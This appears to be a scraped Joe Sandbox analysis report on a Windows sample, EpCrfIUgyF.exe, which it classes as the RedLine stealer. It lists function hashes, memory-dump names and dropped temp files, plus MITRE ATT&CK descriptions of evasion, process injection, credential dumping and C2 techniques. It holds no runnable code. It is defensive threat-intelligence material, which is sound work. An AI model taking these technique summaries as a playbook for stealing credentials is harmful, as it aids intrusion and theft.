Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b55701119d40043c63ac341c5de2ed7f46624a76f933a2556851ab2ee4bc238d
Instruction ID: 5d180521ee763a2f3494bcfe1714a788c3ff5541a4257cd347d179a65b89d863
Opcode Fuzzy Hash: b55701119d40043c63ac341c5de2ed7f46624a76f933a2556851ab2ee4bc238d
Instruction Fuzzy Hash: 0FA1CE74B042459FCB54CF78C954AAEBBF2FF88600B11846AE61ADB3A1CB71DD01DB61

Function 06C70048 Relevance: .7, Instructions: 665
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d137485577beca6c4daadfb2db585b9af095276c3adf19dfce3115e98dd6536c
Instruction ID: 7d6977ad3bcc38656cc8f233d71b1a641945175a174107bfa9bcdedab6f217bf
Opcode Fuzzy Hash: d137485577beca6c4daadfb2db585b9af095276c3adf19dfce3115e98dd6536c
Instruction Fuzzy Hash: 9D42377070071ACFDB689F68D45066EBBF6FFC5701B00595DD502AF290CBBAAD058B86

Function 06C70009 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f01984b9a7f84d75f89640a273e494ae2df94be97d64a85d46b6ff842aaf2152
Instruction ID: 1776a8270b6c57e7475afdf06416871d2eee43ee5bceb5ed26a2992e1fdc2d70
Opcode Fuzzy Hash: f01984b9a7f84d75f89640a273e494ae2df94be97d64a85d46b6ff842aaf2152
Instruction Fuzzy Hash: BAD17AB0B00244DFDB508F69C855B6ABBB6FF89700F14809AE6019F3A2DBB5DD45CB91

Function 06C71533 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c995d802628492870b6a69fea0e683d068e3c585a3225f10f32427ffa5a38a7
Instruction ID: fb0d5699d7561d996af87c50f47fb8de573882a9f3844254192ca423a27010c7
Opcode Fuzzy Hash: 9c995d802628492870b6a69fea0e683d068e3c585a3225f10f32427ffa5a38a7
Instruction Fuzzy Hash: F7C13734B20104AFCB14AF98C994E99B7B2FF89700B558099FA02EF761CB72ED11CB15

Function 06C73138 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f35f594b3a5278647f1d4c1c305cfd82de34067b2b82f545b7ffa70bb1297c1
Instruction ID: 35072c73df4d5dae1001ad823c5ad37fe6ab7de4f96accf2184c24b04581658b
Opcode Fuzzy Hash: 0f35f594b3a5278647f1d4c1c305cfd82de34067b2b82f545b7ffa70bb1297c1
Instruction Fuzzy Hash: 13917C35B102049FCB54CF69C984A9EBBF2FF89710B1580A9E919EB361DB71ED01CB60

Function 06C71308 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216247147.0000000006C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c70000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5641d00f60c9af66a276289b27a97f3bf5e13b11b1213f2730948f0372e025ba
Instruction ID: 58dc63a06780e2e83f122e2b8581d779232ecc03bc4f32ac79c0c94981586333
Opcode Fuzzy Hash: 5641d00f60c9af66a276289b27a97f3bf5e13b11b1213f2730948f0372e025ba
Instruction Fuzzy Hash: 8A516935B10345CFCB109FBAD84056ABBFAEFC1211B2C853ED9458BA11EB31D945C7A1

Function 015CD054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210755661.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de03fe29111523c0e1e4c71b2e62e5293ab1fe2f83d669bf6669e765c2294b34
Instruction ID: 1c14b3a1fc76ccb158a8433ba015be35435f75a4ae54b9994a1ab214ba8f6d8d
Opcode Fuzzy Hash: de03fe29111523c0e1e4c71b2e62e5293ab1fe2f83d669bf6669e765c2294b34
Instruction Fuzzy Hash: A6212472500240EFCB15DF98D9C0B2ABFB5FB88714F20C66CEA095E256C33AD416CBA1

Function 015DD2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210780470.00000000015DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15dd000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f3ba48664bc2d6c96a773c3b2ab971c328b9f9661fd8ff1dc2fa7c779172257
Instruction ID: ee774e02645938d12f1d64691bde126ef0c125870d043bf0b528e19480ee66a3
Opcode Fuzzy Hash: 1f3ba48664bc2d6c96a773c3b2ab971c328b9f9661fd8ff1dc2fa7c779172257
Instruction Fuzzy Hash: F7213772204244EFDB25DF58D580B2ABBB5FB84310F20C569D8094F282CB7AD406CBA1

Function 015DD4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210780470.00000000015DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15dd000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fda41389e674de683d2b972df4da1836d87a203c11498ec0d695f944a17876
Instruction ID: 8891fd779fdb9c6ab52d1508e5a4f5568a795ee87e7569f079296f3d9261a827
Opcode Fuzzy Hash: 80fda41389e674de683d2b972df4da1836d87a203c11498ec0d695f944a17876
Instruction Fuzzy Hash: D52134B1504204EFDB25CF68D5C0B2ABBB5FB84318F20C96DD90A0F292C77AD406CB62

Function 015CD04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210755661.00000000015CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15cd000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fb694dd1e91a6ea135483331fab76a04ef60c4faa8ae053019808facf22284
Instruction ID: 8c4ef8ff4cc15a0d862dae3d179357de369f35b0dba58a57d5b4f501113e9876
Opcode Fuzzy Hash: 83fb694dd1e91a6ea135483331fab76a04ef60c4faa8ae053019808facf22284
Instruction Fuzzy Hash: 3D219D76504280DFCB16CF94D9C4B1ABF72FB88714F2486A9D9494E257C33AD426CB91

Function 015DD49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210780470.00000000015DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15dd000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: 91d25920a6b1f6beb97ce191a869032b0602f903f155ae12664fa177f8675023
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: 1711DDB5504284DFCB12CF58C5C4B19BFB1FB84318F24C6AAD8494F2A2C33AD40ACB62

Function 015DD2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210780470.00000000015DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 015DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15dd000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction ID: 4f9fcc16959c52b163404c3d3752affaa0f2cdf5a7c5d9ee93b5f787d4fef263
Opcode Fuzzy Hash: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction Fuzzy Hash: 2A119D76504284CFDB22CF58D5C4B19BB71FB84324F24C6AAD8494B696C33AD40ACBA2

Non-executed Functions

Function 06C2D528 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c66bb039d9bca71e1990374d76eedb842f53daae72b84700175a365ffa42e1
Instruction ID: d4d320120e220e5a866322f836b96de9cf80c38f8e7d237156979aafbf5ac63b
Opcode Fuzzy Hash: 63c66bb039d9bca71e1990374d76eedb842f53daae72b84700175a365ffa42e1
Instruction Fuzzy Hash: 78E1B270A042778FCB55CF75C4501ADFBF1AFA5300B15C96AE88AEB244E774E685CB90

Function 06C2F9F2 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5261934d1fa351ed378cd37398cd771d8aa8613b6beeb769812cd0f875c8c30e
Instruction ID: 4d4e820e03963ae3162711555731a6c7dcef6842696c10486ea9138ce46c8ad7
Opcode Fuzzy Hash: 5261934d1fa351ed378cd37398cd771d8aa8613b6beeb769812cd0f875c8c30e
Instruction Fuzzy Hash: D7B1A271B0030A9BDB44EF70C850BAA7767FFC8700F518629E90A6B395DEB6AC41D790

Function 06C2FA00 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2216192927.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_EpCrfIUgyF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e1757fdd39c22ccf1f11784955509a5cc9fb30b9b36d163dbfce3f232c72b9b
Instruction ID: 7ce0f246ba2536c28a91df7c348a22b3b4fd1ff3d2df48c04a2353f0aee64934
Opcode Fuzzy Hash: 3e1757fdd39c22ccf1f11784955509a5cc9fb30b9b36d163dbfce3f232c72b9b
Instruction Fuzzy Hash: 9AB1A271B0030A9BDB44DF70C850BAA7767FFC8700F118529E90A6B395DEB6AC41D790

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EpCrfIUgyF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EpCrfIUgyF.exe.log

C:\Users\user\AppData\Local\Temp\tmp29DB.tmp

C:\Users\user\AppData\Local\Temp\tmp29EC.tmp

C:\Users\user\AppData\Local\Temp\tmp29FC.tmp

C:\Users\user\AppData\Local\Temp\tmp2A0D.tmp

C:\Users\user\AppData\Local\Temp\tmp2A1D.tmp

C:\Users\user\AppData\Local\Temp\tmp2A2E.tmp

C:\Users\user\AppData\Local\Temp\tmp60A1.tmp

C:\Users\user\AppData\Local\Temp\tmp60B1.tmp

C:\Users\user\AppData\Local\Temp\tmp60C2.tmp

C:\Users\user\AppData\Local\Temp\tmp60D2.tmp

C:\Users\user\AppData\Local\Temp\tmp60E3.tmp

C:\Users\user\AppData\Local\Temp\tmp60F4.tmp

C:\Users\user\AppData\Local\Temp\tmp6482.tmp

C:\Users\user\AppData\Local\Temp\tmp6483.tmp

C:\Users\user\AppData\Local\Temp\tmp6484.tmp

Windows Analysis Report
EpCrfIUgyF.exe

Function 0186E7D0 Relevance: .9, Instructions: 901
COMMON